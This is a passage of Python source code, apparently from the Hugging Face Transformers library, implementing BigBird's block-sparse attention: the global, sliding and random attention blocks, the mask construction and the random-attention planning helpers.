key_layer = torch.cat([past_key_value[0], key_layer], dim=2)
value_layer = torch.cat([past_key_value[1], value_layer], dim=2)
else:
key_layer = self.transpose_for_scores(self.key(hidden_states))
value_layer = self.transpose_for_scores(self.value(hidden_states))
query_layer = self.transpose_for_scores(mixed_query_layer)
if self.is_decoder:
# if cross_attention save Tuple(torch.Tensor, torch.Tensor) of all cross attention key/value_states.
# Further calls to cross_attention layer can then reuse all cross-attention
# key/value_states (first "if" case)
# if uni-directional self-attention (decoder) save Tuple(torch.Tensor, torch.Tensor) of
# all previous decoder key/value_states. Further calls to uni-directional self-attention
# can concat previous decoder key/value_states to current projected key/value_states (third "elif" case)
# if encoder bi-directional self-attention `past_key_value` is always `None`
past_key_value = (key_layer, value_layer)
# Take the dot product between "query" and "key" to get the raw attention scores.
attention_scores = torch.matmul(query_layer, key_layer.transpose(-1, -2))
attention_scores = attention_scores / math.sqrt(self.attention_head_size)
if attention_mask is not None:
# Apply the attention mask is (precomputed for all layers in BigBirdModel forward() function)
attention_scores = attention_scores + attention_mask
# Normalize the attention scores to probabilities.
attention_probs = nn.functional.softmax(attention_scores, dim=-1)
# This is actually dropping out entire tokens to attend to, which might
# seem a bit unusual, but is taken from the original Transformer paper.
attention_probs = self.dropout(attention_probs)
# Mask heads if we want to
if head_mask is not None:
attention_probs = attention_probs * head_mask
context_layer = torch.matmul(attention_probs, value_layer)
context_layer = context_layer.permute(0, 2, 1, 3).contiguous()
new_context_layer_shape = context_layer.size()[:-2] + (self.all_head_size,)
context_layer = context_layer.view(*new_context_layer_shape)
outputs = (context_layer, attention_probs) if output_attentions else (context_layer,)
if self.is_decoder:
outputs = outputs + (past_key_value,)
return outputs
class BigBirdBlockSparseAttention(nn.Module):
def __init__(self, config, seed=None):
super().__init__()
self.max_seqlen = config.max_position_embeddings
self.seed = seed
if config.hidden_size % config.num_attention_heads != 0:
raise ValueError(
f"The hidden size {config.hidden_size} is not a multiple of the number of attention "
f"heads {config.num_attention_heads}."
)
self.num_attention_heads = config.num_attention_heads
self.num_random_blocks = config.num_random_blocks
self.block_size = config.block_size
self.attention_head_size = int(config.hidden_size / config.num_attention_heads)
self.all_head_size = self.num_attention_heads * self.attention_head_size
self.query = nn.Linear(config.hidden_size, self.all_head_size, bias=config.use_bias)
self.key = nn.Linear(config.hidden_size, self.all_head_size, bias=config.use_bias)
self.value = nn.Linear(config.hidden_size, self.all_head_size, bias=config.use_bias)
def transpose_for_scores(self, x):
new_x_shape = x.size()[:-1] + (self.num_attention_heads, self.attention_head_size)
x = x.view(*new_x_shape)
return x.permute(0, 2, 1, 3)
def forward(
self,
hidden_states,
band_mask=None,
from_mask=None,
to_mask=None,
from_blocked_mask=None,
to_blocked_mask=None,
output_attentions=None,
):
# Currently this `class` can't be used in decoder.
batch_size, seqlen, _ = hidden_states.size()
to_seq_length = from_seq_length = seqlen
from_block_size = to_block_size = self.block_size
assert from_seq_length % from_block_size == 0, "Query sided sequence length must be multiple of block size"
assert to_seq_length % to_block_size == 0, "Key/Value sided sequence length must be multiple of block size"
query_layer = self.transpose_for_scores(self.query(hidden_states))
key_layer = self.transpose_for_scores(self.key(hidden_states))
value_layer = self.transpose_for_scores(self.value(hidden_states))
context_layer, attention_probs = self.bigbird_block_sparse_attention(
query_layer,
key_layer,
value_layer,
band_mask,
from_mask,
to_mask,
from_blocked_mask,
to_blocked_mask,
self.num_attention_heads,
self.num_random_blocks,
self.attention_head_size,
from_block_size,
to_block_size,
batch_size,
from_seq_length,
to_seq_length,
seed=self.seed,
plan_from_length=None,
plan_num_rand_blocks=None,
output_attentions=output_attentions,
)
context_layer = context_layer.contiguous().view(batch_size, from_seq_length, -1)
outputs = (context_layer, attention_probs) if output_attentions else (context_layer,)
return outputs
@staticmethod
def torch_bmm_nd(inp_1, inp_2, ndim=None):
"""Fast nd matrix multiplication"""
# faster replacement of torch.einsum ("bhqk,bhkd->bhqd")
return torch.bmm(inp_1.reshape((-1,) + inp_1.shape[-2:]), inp_2.reshape((-1,) + inp_2.shape[-2:])).view(
inp_1.shape[: ndim - 2] + (inp_1.shape[ndim - 2], inp_2.shape[ndim - 1])
)
@staticmethod
def torch_bmm_nd_transpose(inp_1, inp_2, ndim=None):
"""Fast nd matrix multiplication with transpose"""
# faster replacement of torch.einsum (bhqd,bhkd->bhqk)
return torch.bmm(
inp_1.reshape((-1,) + inp_1.shape[-2:]), inp_2.reshape((-1,) + inp_2.shape[-2:]).transpose(1, 2)
).view(inp_1.shape[: ndim - 2] + (inp_1.shape[ndim - 2], inp_2.shape[ndim - 2]))
def bigbird_block_sparse_attention(
self,
query_layer,
key_layer,
value_layer,
band_mask,
from_mask,
to_mask,
from_blocked_mask,
to_blocked_mask,
n_heads,
n_rand_blocks,
attention_head_size,
from_block_size,
to_block_size,
batch_size,
from_seq_len,
to_seq_len,
seed,
plan_from_length,
plan_num_rand_blocks,
output_attentions,
):
# BigBird block-sparse attention as suggested in paper
# ITC:
# global tokens: 2 x block_size
# window tokens: 3 x block_size
# random tokens: num_rand_tokens x block_size
# ETC:
# global tokens: extra_globals_tokens + 2 x block_size
# window tokens: 3 x block_size
# random tokens: num_rand_tokens x block_size
# Note:
# 1) Currently, ETC is not supported.
# 2) Window size is fixed to 3 blocks & it can be changed only by
# changing `block_size`.
# 3) Number of global blocks are fixed (2 blocks here) & global tokens can be
# controlled only by `block_size`.
# attention is calculated separately for q[0], q[1], q[2:-2], q[-2], q[-1] in order to use special trick of shifting tokens (for calculating sliding attention)
# hence following code can be divided into 5 parts.
if from_seq_len // from_block_size != to_seq_len // to_block_size:
raise ValueError("Error the number of blocks needs to be same!")
rsqrt_d = 1 / math.sqrt(attention_head_size)
bsz = batch_size
attn_mask_penalty = -10000.0
# generate random attention and corresponding masks
np.random.seed(seed)
if from_seq_len in [1024, 3072, 4096]: # old plans used in paper
rand_attn = [
self._bigbird_block_rand_mask(
self.max_seqlen, self.max_seqlen, from_block_size, to_block_size, n_rand_blocks, last_idx=1024
)[: (from_seq_len // from_block_size - 2)]
for _ in range(n_heads)
]
else:
if plan_from_length is None:
plan_from_length, plan_num_rand_blocks = self._get_rand_attn_plan(
from_seq_len, from_block_size, n_rand_blocks
)
rand_attn = self._bigbird_block_rand_mask_with_head(
from_seq_length=from_seq_len,
to_seq_length=to_seq_len,
from_block_size=from_block_size,
to_block_size=to_block_size,
num_heads=n_heads,
plan_from_length=plan_from_length,
plan_num_rand_blocks=plan_num_rand_blocks,
)
rand_attn = np.stack(rand_attn, axis=0)
rand_attn = torch.tensor(rand_attn, device=query_layer.device, dtype=torch.long)
rand_attn.unsqueeze_(0)
rand_attn = torch.cat([rand_attn for _ in range(batch_size)], dim=0)
rand_mask = self._create_rand_mask_from_inputs(
from_blocked_mask, to_blocked_mask, rand_attn, n_heads, n_rand_blocks, bsz, from_seq_len, from_block_size
)
blocked_query_matrix = query_layer.view(bsz, n_heads, from_seq_len // from_block_size, from_block_size, -1)
blocked_key_matrix = key_layer.view(bsz, n_heads, to_seq_len // to_block_size, to_block_size, -1)
blocked_value_matrix = value_layer.view(bsz, n_heads, to_seq_len // to_block_size, to_block_size, -1)
# preparing block for randn attn
gathered_key = self.torch_gather_b2(blocked_key_matrix, rand_attn)
gathered_key = gathered_key.view(
bsz, n_heads, to_seq_len // to_block_size - 2, n_rand_blocks * to_block_size, -1
) # [bsz, n_heads, to_seq_len//to_block_size-2, n_rand_blocks, to_block_size, -1]
gathered_value = self.torch_gather_b2(blocked_value_matrix, rand_attn)
gathered_value = gathered_value.view(
bsz, n_heads, to_seq_len // to_block_size - 2, n_rand_blocks * to_block_size, -1
) # [bsz, n_heads, to_seq_len//to_block_size-2, n_rand_blocks, to_block_size, -1]
# 1st PART
# 1st block (global block) attention scores
# q[0] x (k[0], k[1], k[2], k[3], k[4] .... )
# [bsz, n_heads, from_block_size, -1] x [bsz, n_heads, to_seq_len, -1] ==> [bsz, n_heads, from_block_size, to_seq_len]
first_product = self.torch_bmm_nd_transpose(blocked_query_matrix[:, :, 0], key_layer, ndim=4)
first_product = first_product * rsqrt_d
first_product += (1.0 - to_mask) * attn_mask_penalty
first_attn_weights = nn.functional.softmax(
first_product, dim=-1
) # [bsz, n_heads, from_block_size, to_seq_len]
# [bsz, n_heads, from_block_size, to_seq_len] x [bsz, n_heads, to_seq_len, -1] ==> [bsz, n_heads, from_block_size, -1]
first_context_layer = self.torch_bmm_nd(first_attn_weights, value_layer, ndim=4)
first_context_layer.unsqueeze_(2)
# 2nd PART
# 2nd block attention scores
# q[1] x (sliding_keys, random_keys, global_keys)
# sliding key blocks -> 2nd, 3rd blocks
# global key blocks -> 1st block
second_key_mat = torch.cat(
[
blocked_key_matrix[:, :, 0],
blocked_key_matrix[:, :, 1],
blocked_key_matrix[:, :, 2],
blocked_key_matrix[:, :, -1],
gathered_key[:, :, 0],
],
dim=2,
) # [bsz, n_heads, (4+n_rand_blocks)*to_block_size, -1]
second_value_mat = torch.cat(
[
blocked_value_matrix[:, :, 0],
blocked_value_matrix[:, :, 1],
blocked_value_matrix[:, :, 2],
blocked_value_matrix[:, :, -1],
gathered_value[:, :, 0],
],
dim=2,
) # [bsz, n_heads, (4+n_rand_blocks)*to_block_size, -1]
# [bsz, n_heads, from_block_size, -1] x [bsz, n_heads, (4+n_rand_blocks)*to_block_size, -1] ==> [bsz, n_heads, from_block_size, (4+n_rand_blocks)*to_block_size]
second_product = self.torch_bmm_nd_transpose(blocked_query_matrix[:, :, 1], second_key_mat, ndim=4)
second_seq_pad = torch.cat(
[
to_mask[:, :, :, : 3 * to_block_size],
to_mask[:, :, :, -to_block_size:],
to_mask.new_ones([bsz, 1, 1, n_rand_blocks * to_block_size]),
],
dim=3,
)
second_rand_pad = torch.cat(
[
rand_mask.new_ones([bsz, n_heads, from_block_size, 4 * to_block_size]),
rand_mask[:, :, 0],
],
dim=3,
)
second_product = second_product * rsqrt_d
second_product += (1.0 - torch.minimum(second_seq_pad, second_rand_pad)) * attn_mask_penalty
second_attn_weights = nn.functional.softmax(
second_product, dim=-1
) # [bsz, n_heads, from_block_size, (4+n_rand_blocks)*to_block_size]
# [bsz, n_heads, from_block_size, (4+n_rand_blocks)*to_block_size] x [bsz, n_heads, (4+n_rand_blocks)*to_block_size, -1] ==> [bsz, n_heads, from_block_size, -1]
second_context_layer = self.torch_bmm_nd(second_attn_weights, second_value_mat, ndim=4)
second_context_layer.unsqueeze_(2)
# 3rd PART
# Middle blocks attention scores
# q[-2:2] x (sliding_keys, random_keys, global_keys)
# sliding attn is calculated using special trick of shifting tokens as discussed in paper
# random keys are generated by taking random indices as per `rand_attn`
# global keys -> 1st & last block
exp_blocked_key_matrix = torch.cat(
[blocked_key_matrix[:, :, 1:-3], blocked_key_matrix[:, :, 2:-2], blocked_key_matrix[:, :, 3:-1]], dim=3
) # [bsz, n_heads, from_seq_len//from_block_size-4, 3*to_block_size, -1]
exp_blocked_value_matrix = torch.cat(
[blocked_value_matrix[:, :, 1:-3], blocked_value_matrix[:, :, 2:-2], blocked_value_matrix[:, :, 3:-1]],
dim=3,
) # [bsz, n_heads, from_seq_len//from_block_size-4, 3*to_block_size, -1]
middle_query_matrix = blocked_query_matrix[:, :, 2:-2]
# sliding attention scores for q[-2:2]
# [bsz, n_heads, from_seq_len//from_block_size-4, from_block_size, -1] x [b, n_heads, from_seq_len//from_block_size-4, 3*to_block_size, -1]
inner_band_product = self.torch_bmm_nd_transpose(middle_query_matrix, exp_blocked_key_matrix, ndim=5)
# ==> [bsz, n_heads, from_seq_len//from_block_size-4, from_block_size, 3*to_block_size]
inner_band_product = inner_band_product * rsqrt_d
# randn attention scores for q[-2:2]
# [bsz, n_heads, from_seq_len//from_block_size-4, from_block_size, -1] x [bsz, n_heads, from_seq_len//from_block_size-4, n_rand_blocks*to_block_size, -1]
rand_band_product = self.torch_bmm_nd_transpose(middle_query_matrix, gathered_key[:, :, 1:-1], ndim=5)
# ==> [bsz, n_heads, from_seq_len//from_block_size-4, from_block_size, n_rand_blocks*to_block_size]
rand_band_product = rand_band_product * rsqrt_d
# Including 1st block (since it's global)
first_band_product = torch.einsum(
"bhlqd,bhkd->bhlqk", middle_query_matrix, blocked_key_matrix[:, :, 0]
) # [bsz, n_heads, from_seq_len//from_block_size-4, from_block_size, -1] x [bsz, n_heads, to_block_size, -1] ==> [bsz, n_heads, from_seq_len//from_block_size-4, from_block_size, to_block_size]
first_band_product = first_band_product * rsqrt_d
# Including last block (since it's global)
last_band_product = torch.einsum(
"bhlqd,bhkd->bhlqk", middle_query_matrix, blocked_key_matrix[:, :, -1]
) # [bsz, n_heads, from_seq_len//from_block_size-4, from_block_size, -1] x [bsz, n_heads, to_block_size, -1] ==> [bsz, n_heads, from_seq_len//from_block_size-4, from_block_size, to_block_size]
last_band_product = last_band_product * rsqrt_d
# masking padded tokens
inner_band_product += (1.0 - band_mask) * attn_mask_penalty
first_band_product += (1.0 - to_mask[:, :, :, :to_block_size].unsqueeze(3)) * attn_mask_penalty
last_band_product += (1.0 - to_mask[:, :, :, -to_block_size:].unsqueeze(3)) * attn_mask_penalty
rand_band_product += (1.0 - rand_mask[:, :, 1:-1]) * attn_mask_penalty
# completing attention scores matrix for all q[-2:2]
band_product = torch.cat(
[first_band_product, inner_band_product, rand_band_product, last_band_product], dim=-1
) # [bsz, n_heads, from_seq_len//from_block_size-4, from_block_size, (5+n_rand_blocks)*to_block_size]
# safely doing softmax since attention matrix is completed
attn_weights = nn.functional.softmax(
band_product, dim=-1
) # [bsz, n_heads, from_seq_len//from_block_size-4, from_block_size, (5+n_rand_blocks)*to_block_size]
# contribution of sliding keys
# [bsz, n_heads, m//from_block_size-4, from_block_size, 3*to_block_size] x [bsz, n_heads, from_seq_len//from_block_size-4, 3*to_block_size, -1]
context_layer = self.torch_bmm_nd(
attn_weights[:, :, :, :, to_block_size : 4 * to_block_size], exp_blocked_value_matrix, ndim=5
)
# ==> [bsz, n_heads, from_seq_len//from_block_size-4, from_block_size, -1]
# adding contribution of random keys
# [bsz, n_heads, from_seq_len//from_block_size-4, from_block_size, n_rand_blocks*to_block_size] x [bsz, n_heads, from_seq_len//from_block_size-4, n_rand_blocks*to_block_size, -1]
context_layer += self.torch_bmm_nd(
attn_weights[:, :, :, :, 4 * to_block_size : -to_block_size], gathered_value[:, :, 1:-1], ndim=5
)
# ==> [bsz, n_heads, from_seq_len//from_block_size-4, from_block_size, -1]
# adding contribution of global keys
context_layer += torch.einsum(
"bhlqk,bhkd->bhlqd", attn_weights[:, :, :, :, :to_block_size], blocked_value_matrix[:, :, 0]
) # [bsz, n_heads, from_seq_len//from_block_size-4, from_block_size, to_block_size] x [bsz, n_heads, to_block_size, -1] ==> [bsz, n_heads, from_seq_len//from_block_size-4, from_block_size, -1]
context_layer += torch.einsum(
"bhlqk,bhkd->bhlqd", attn_weights[:, :, :, :, -to_block_size:], blocked_value_matrix[:, :, -1]
) # [bsz, n_heads, from_seq_len//from_block_size-4, from_block_size, to_block_size] x [bsz, n_heads, to_block_size, -1] ==> [bsz, n_heads, from_seq_len//from_block_size-4, from_block_size, -1]
# 4th PART
# last 2nd token attention scores
# q[-2] x (sliding_keys, random_keys, global_keys)
# sliding key blocks -> last 3 blocks
# global key block -> 1st block
# random key block -> based on indices stored in `randn_attn`
second_last_key_mat = torch.cat(
[
blocked_key_matrix[:, :, 0],
blocked_key_matrix[:, :, -3],
blocked_key_matrix[:, :, -2],
blocked_key_matrix[:, :, -1],
gathered_key[:, :, -1],
],
dim=2,
) # [bsz, n_heads, (4+n_random_blocks)*to_block_size, -1]
second_last_value_mat = torch.cat(
[
blocked_value_matrix[:, :, 0],
blocked_value_matrix[:, :, -3],
blocked_value_matrix[:, :, -2],
blocked_value_matrix[:, :, -1],
gathered_value[:, :, -1],
],
dim=2,
) # [bsz, n_heads, (4+r)*to_block_size, -1]
# [bsz, n_heads, from_block_size, -1] x [bsz, n_heads, (4+n_rand_blocks)*to_block_size, -1] ==> [bsz, n_heads, from_block_size, (4+n_rand_blocks)*to_block_size]
second_last_product = self.torch_bmm_nd_transpose(blocked_query_matrix[:, :, -2], second_last_key_mat, ndim=4)
second_last_seq_pad = torch.cat(
[
to_mask[:, :, :, :to_block_size],
to_mask[:, :, :, -3 * to_block_size :],
to_mask.new_ones([bsz, 1, 1, n_rand_blocks * to_block_size]),
],
dim=3,
)
second_last_rand_pad = torch.cat(
[
rand_mask.new_ones([bsz, n_heads, from_block_size, 4 * to_block_size]),
rand_mask[:, :, -1],
],
dim=3,
)
second_last_product = second_last_product * rsqrt_d
second_last_product += (1.0 - torch.minimum(second_last_seq_pad, second_last_rand_pad)) * attn_mask_penalty
second_last_attn_weights = nn.functional.softmax(
second_last_product, dim=-1
) # [bsz, n_heads, from_block_size, (4+n_rand_blocks)*to_block_size]
# [bsz, n_heads, from_block_size, (4+n_rand_blocks)*to_block_size] x [bsz, n_heads, (4+n_rand_blocks)*to_block_size, -1] ==> [bsz, n_heads, from_block_size, -1]
second_last_context_layer = self.torch_bmm_nd(second_last_attn_weights, second_last_value_mat, ndim=4)
second_last_context_layer.unsqueeze_(2)
# 5th PART
# last block (global) attention scores
# q[-1] x (k[0], k[1], k[2], k[3], .... )
# [bsz, n_heads, from_block_size, -1] x [bsz, n_heads, to_seq_len, -1] ==> [bsz, n_heads, from_block_size, to_seq_len]
last_product = self.torch_bmm_nd_transpose(blocked_query_matrix[:, :, -1], key_layer, ndim=4)
last_product = last_product * rsqrt_d
last_product += (1.0 - to_mask) * attn_mask_penalty
last_attn_weights = nn.functional.softmax(last_product, dim=-1) # [bsz, n_heads, from_block_size, n]
# [bsz, n_heads, from_block_size, to_seq_len] x [bsz, n_heads, to_seq_len, -1] ==> [bsz, n_heads, from_block_size, -1]
last_context_layer = self.torch_bmm_nd(last_attn_weights, value_layer, ndim=4)
last_context_layer.unsqueeze_(2)
# combining representations of all tokens
context_layer = torch.cat(
[first_context_layer, second_context_layer, context_layer, second_last_context_layer, last_context_layer],
dim=2,
)
context_layer = context_layer.view((bsz, n_heads, from_seq_len, -1)) * from_mask
context_layer = torch.transpose(context_layer, 1, 2)
# this is just for visualizing; forward pass doesn't depend on following code
if output_attentions:
# TODO(PVP): need to verify if below code is correct
attention_probs = torch.zeros(
bsz, n_heads, from_seq_len, to_seq_len, dtype=torch.float, device=context_layer.device
)
# 1st query block
# corresponding to `first_context_layer`
attention_probs[:, :, :from_block_size, :] = first_attn_weights # all keys global
# 2nd query block
# corresponding to `second_context_layer`
attention_probs[:, :, from_block_size : 2 * from_block_size, : 3 * to_block_size] = second_attn_weights[
:, :, :, : 3 * to_block_size
] # 1st three key blocks (global + sliding)
attention_probs[:, :, from_block_size : 2 * from_block_size, -to_block_size:] = second_attn_weights[
:, :, :, 3 * to_block_size : 4 * to_block_size
] # last key block (global)
# random keys
for p1, i1, w1 in zip(range(bsz), rand_attn, second_attn_weights):
# p1, i1, w1 corresponds to batch_dim i.e. following operation is done for each sequence in batch
for p2, i2, w2 in zip(range(n_heads), i1, w1):
# p2, i2, w2 corresponds to head_dim i.e. following operation is done for each heads
attn_probs_view = attention_probs.view(
bsz,
n_heads,
from_seq_len // from_block_size,
from_block_size,
to_seq_len // to_block_size,
to_block_size,
)
right_slice = w2[:, 4 * to_block_size :]
attn_probs_view[p1, p2, 1, :, i2[0]] = right_slice.view(
from_block_size, n_rand_blocks, to_block_size
)
# Middle query blocks
# corresponding to `context_layer`
# sliding keys
for q_idx in range(from_seq_len // from_block_size - 4):
attn_probs_view = attention_probs.view(
bsz,
n_heads,
from_seq_len // from_block_size,
from_block_size,
to_seq_len // to_block_size,
to_block_size,
)[:, :, 2:-2, :, 1:-1, :]
right_slice = attn_weights[:, :, q_idx, :, to_block_size : 4 * to_block_size]
attn_probs_view[:, :, q_idx, :, q_idx : q_idx + 3, :] = right_slice.view(
bsz, n_heads, from_block_size, 3, to_block_size
) # inner_band_product
# global keys (corresponding to 1st key block)
attention_probs[:, :, 2 * from_block_size : -2 * from_block_size, :to_block_size] = attn_weights[
:, :, :, :, :to_block_size
].view(
bsz, n_heads, -1, to_block_size
) # first_band_product
# global keys (corresponding to last key block)
attention_probs[:, :, 2 * from_block_size : -2 * from_block_size, -to_block_size:] = attn_weights[
:, :, :, :, -to_block_size:
].view(
bsz, n_heads, -1, to_block_size
) # last_band_product
# random keys
for p1, i1, w1 in zip(range(bsz), rand_attn, attn_weights):
# p1, i1, w1 corresponds to batch_dim i.e. following operation is done for each sequence in batch
for p2, i2, w2 in zip(range(n_heads), i1, w1):
# p2, i2, w2 corresponds to head_dim i.e. following operation is done for each heads
for q_idx in range(1, len(i2) - 1):
attn_probs_view = attention_probs.view(
bsz,
n_heads,
from_seq_len // from_block_size,
from_block_size,
to_seq_len // to_block_size,
to_block_size,
)
right_slice = w2[q_idx - 1, :, 4 * to_block_size : -to_block_size]
attn_probs_view[p1, p2, q_idx + 1, :, i2[q_idx]] = right_slice.view(
from_block_size, n_rand_blocks, to_block_size
)
# Second-last query block
# corresponding to `second_last_context_layer`
attention_probs[:, :, -2 * from_block_size : -from_block_size, :to_block_size] = second_last_attn_weights[
:, :, :, :to_block_size
] # 1st key block (global)
attention_probs[
:, :, -2 * from_block_size : -from_block_size, -3 * to_block_size :
] = second_last_attn_weights[
:, :, :, to_block_size : 4 * to_block_size
] # last three blocks (global + sliding)
# random keys
for p1, i1, w1 in zip(range(bsz), rand_attn, second_last_attn_weights):
# p1, i1, w1 corresponds to batch_dim i.e. following operation is done for each sequence in batch
for p2, i2, w2 in zip(range(n_heads), i1, w1):
# p2, i2, w2 corresponds to head_dim i.e. following operation is done for each heads
attn_probs_view = attention_probs.view(
bsz,
n_heads,
from_seq_len // from_block_size,
from_block_size,
to_seq_len // to_block_size,
to_block_size,
)
right_slice = w2[:, 4 * to_block_size :]
attn_probs_view[p1, p2, -2, :, i2[-1]] = right_slice.view(
from_block_size, n_rand_blocks, to_block_size
)
# last query block
# corresponding to `last_context_layer`
attention_probs[:, :, -from_block_size:, :] = last_attn_weights # all keys global
else:
attention_probs = None
return context_layer, attention_probs
@staticmethod
def torch_gather_b2(params, indices):
# this operation is equivalent to tf.gather when batch_dims=2
if params.shape[:2] != indices.shape[:2]:
raise ValueError(
f"Make sure that the first two dimensions of params and indices are identical, \
but they are params: {params.shape[:2]} vs. indices: {params.shape[:2]}"
)
num_indices_to_gather = indices.shape[-2] * indices.shape[-1]
num_indices_to_pick_from = params.shape[2]
indices_shift = (
torch.arange(indices.shape[0] * indices.shape[1] * num_indices_to_gather, device=indices.device)
// num_indices_to_gather
* num_indices_to_pick_from
)
flattened_indices = indices.view(-1) + indices_shift
flattened_params = params.reshape(-1, params.shape[-2], params.shape[-1])
out_flattened = flattened_params.index_select(0, flattened_indices)
out = out_flattened.reshape(params.shape[:2] + (num_indices_to_gather,) + params.shape[3:])
return out
@staticmethod
def _create_rand_mask_from_inputs(
from_blocked_mask,
to_blocked_mask,
rand_attn,
num_attention_heads,
num_rand_blocks,
batch_size,
from_seq_length,
from_block_size,
):
"""
Create 3D attention mask from a 2D tensor mask.
Args:
from_blocked_mask: 2D Tensor of shape [batch_size,
from_seq_length//from_block_size, from_block_size].
to_blocked_mask: int32 Tensor of shape [batch_size,
to_seq_length//to_block_size, to_block_size].
rand_attn: [batch_size, num_attention_heads,
from_seq_length//from_block_size-2, num_rand_blocks]
num_attention_heads: int. Number of attention heads.
num_rand_blocks: int. Number of random chunks per row.
batch_size: int. Batch size for computation.
from_seq_length: int. length of from sequence.
from_block_size: int. size of block in from sequence.
Returns:
float Tensor of shape [batch_size, num_attention_heads, from_seq_length//from_block_size-2,
from_block_size, num_rand_blocks*to_block_size].
"""
num_windows = from_seq_length // from_block_size - 2
rand_mask = torch.stack([p1[i1.flatten()] for p1, i1 in zip(to_blocked_mask, rand_attn)])
rand_mask = rand_mask.view(batch_size, num_attention_heads, num_windows, num_rand_blocks * from_block_size)
rand_mask = torch.einsum("blq,bhlk->bhlqk", from_blocked_mask[:, 1:-1], rand_mask)
return rand_mask
@staticmethod
def _get_rand_attn_plan(from_seq_length, from_block_size, num_rand_blocks):
"""
Gives the plan of where to put random attention.
Args:
from_seq_length: int. length of from sequence.
from_block_size: int. size of block in from sequence.
num_rand_blocks: int. Number of random chunks per row.
Returns:
plan_from_length: ending location of from block plan_num_rand_blocks: number of random ending location for
each block
"""
plan_from_length = []
plan_num_rand_blocks = []
if (2 * num_rand_blocks + 5) < (from_seq_length // from_block_size):
plan_from_length.append(int((2 * num_rand_blocks + 5) * from_block_size))
plan_num_rand_blocks.append(num_rand_blocks)
plan_from_length.append(from_seq_length)
plan_num_rand_blocks.append(0)
elif (num_rand_blocks + 5) < (from_seq_length // from_block_size):
plan_from_length.append(int((num_rand_blocks + 5) * from_block_size))
plan_num_rand_blocks.append(num_rand_blocks // 2)
plan_from_length.append(from_seq_length)
plan_num_rand_blocks.append(num_rand_blocks - (num_rand_blocks // 2))
else:
plan_from_length.append(from_seq_length)
plan_num_rand_blocks.append(num_rand_blocks)
return plan_from_length, plan_num_rand_blocks
@staticmethod
def _bigbird_block_rand_mask(
from_seq_length, to_seq_length, from_block_size, to_block_size, num_rand_blocks, last_idx=-1
):
"""
Create adjacency list of random attention.
Args:
from_seq_length: int. length of from sequence.
to_seq_length: int. length of to sequence.
from_block_size: int. size of block in from sequence.
to_block_size: int. size of block in to sequence.
num_rand_blocks: int. Number of random chunks per row.
last_idx: if -1 then num_rand_blocks blocks chosen anywhere in to sequence,
if positive then num_rand_blocks blocks chosen only up to last_idx.
Returns:
adjacency list of size from_seq_length//from_block_size-2 by num_rand_blocks
"""
# using this method when from_seq_length in [1024, 3072, 4096]
assert (
from_seq_length // from_block_size == to_seq_length // to_block_size
), "Error the number of blocks needs to be same!"
rand_attn = np.zeros((from_seq_length // from_block_size - 2, num_rand_blocks), dtype=np.int32)
middle_seq = np.arange(1, to_seq_length // to_block_size - 1, dtype=np.int32)
last = to_seq_length // to_block_size - 1
if last_idx > (2 * to_block_size):
last = (last_idx // to_block_size) - 1
r = num_rand_blocks # shorthand
for i in range(1, from_seq_length // from_block_size - 1):
start = i - 2
end = i
if i == 1:
rand_attn[i - 1, :] = np.random.permutation(middle_seq[2:last])[:r]
elif i == 2:
rand_attn[i - 1, :] = np.random.permutation(middle_seq[3:last])[:r]
elif i == from_seq_length // from_block_size - 3:
rand_attn[i - 1, :] = np.random.permutation(middle_seq[:last])[:r]
# Missing -3: should have been sliced till last-3
elif i == from_seq_length // from_block_size - 2:
rand_attn[i - 1, :] = np.random.permutation(middle_seq[:last])[:r]
# Missing -4: should have been sliced till last-4
else:
if start > last:
start = last
rand_attn[i - 1, :] = np.random.permutation(middle_seq[:start])[:r]
elif (end + 1) == last:
rand_attn[i - 1, :] = np.random.permutation(middle_seq[:start])[:r]
else:
rand_attn[i - 1, :] = np.random.permutation(
np.concatenate((middle_seq[:start], middle_seq[end + 1 : last]))
)[:r]
return rand_attn
def _bigbird_block_rand_mask_with_head(
self,
from_seq_length,
to_seq_length,
from_block_size,
to_block_size,
num_heads,
plan_from_length,
plan_num_rand_blocks,
window_block_left=1,
window_block_right=1,
global_block_top=1,
global_block_bottom=1,
global_block_left=1,
global_block_right=1,
):
"""
Create adjacency list of random attention.
Args:
from_seq_length: int. length of from sequence.
to_seq_length: int. length of to sequence.
from_block_size: int. size of block in from sequence.
to_block_size: int. size of block in to sequence.
num_heads: int. total number of heads.
plan_from_length: list. plan from length where num_random_blocks are choosen from.
plan_num_rand_blocks: list. number of rand blocks within the plan.
window_block_left: int. number of blocks of window to left of a block.
window_block_right: int. number of blocks of window to right of a block.
global_block_top: int. number of blocks at the top.
global_block_bottom: int. number of blocks at the bottom.
global_block_left: int. Number of blocks globally used to the left.
global_block_right: int. Number of blocks globally used to the right.
Returns:
adjacency list of size num_head where each element is of size from_seq_length//from_block_size-2 by
num_rand_blocks
"""
# using this method when from_seq_length not in [1024, 3072, 4096]
assert (
from_seq_length // from_block_size == to_seq_length // to_block_size
), "Error the number of blocks needs to be same!"
assert from_seq_length in plan_from_length, "Error from sequence length not in plan!"
# Total number of blocks in the mmask
num_blocks = from_seq_length // from_block_size
# Number of blocks per plan
plan_block_length = np.array(plan_from_length) // from_block_size
# till when to follow plan
max_plan_idx = plan_from_length.index(from_seq_length)
# Random Attention adjacency list
rand_attn = [
np.zeros((num_blocks, np.sum(plan_num_rand_blocks[: max_plan_idx + 1])), dtype=np.int32)
for i in range(num_heads)
]
# We will go iteratively over the plan blocks and pick random number of
# Attention blocks from the legally allowed blocks
for plan_idx in range(max_plan_idx + 1):
rnd_r_cnt = 0
if plan_idx > 0:
# set the row for all from_blocks starting from 0 to
# plan_block_length[plan_idx-1]
# column indx start fromm plan_block_length[plan_idx-1] and ends at
# plan_block_length[plan_idx]
if plan_num_rand_blocks[plan_idx] > 0:
rnd_r_cnt = int(np.sum(plan_num_rand_blocks[:plan_idx]))
curr_r_cnt = int(np.sum(plan_num_rand_blocks[: plan_idx + 1]))
for blk_rw_idx in range(global_block_top, plan_block_length[plan_idx - 1]):
for h in range(num_heads):
rand_attn[h][blk_rw_idx, rnd_r_cnt:curr_r_cnt] = self._get_single_block_row_attention(
block_id=blk_rw_idx,
to_start_block_id=plan_block_length[plan_idx - 1],
to_end_block_id=plan_block_length[plan_idx],
num_rand_blocks=plan_num_rand_blocks[plan_idx],
window_block_left=window_block_left,
window_block_right=window_block_right,
global_block_left=global_block_left,
global_block_right=global_block_right,
)
for pl_id in range(plan_idx):
if plan_num_rand_blocks[pl_id] == 0:
continue
for blk_rw_idx in range(plan_block_length[plan_idx - 1], plan_block_length[plan_idx]):
rnd_r_cnt = 0
to_start_block_id = 0
if pl_id > 0:
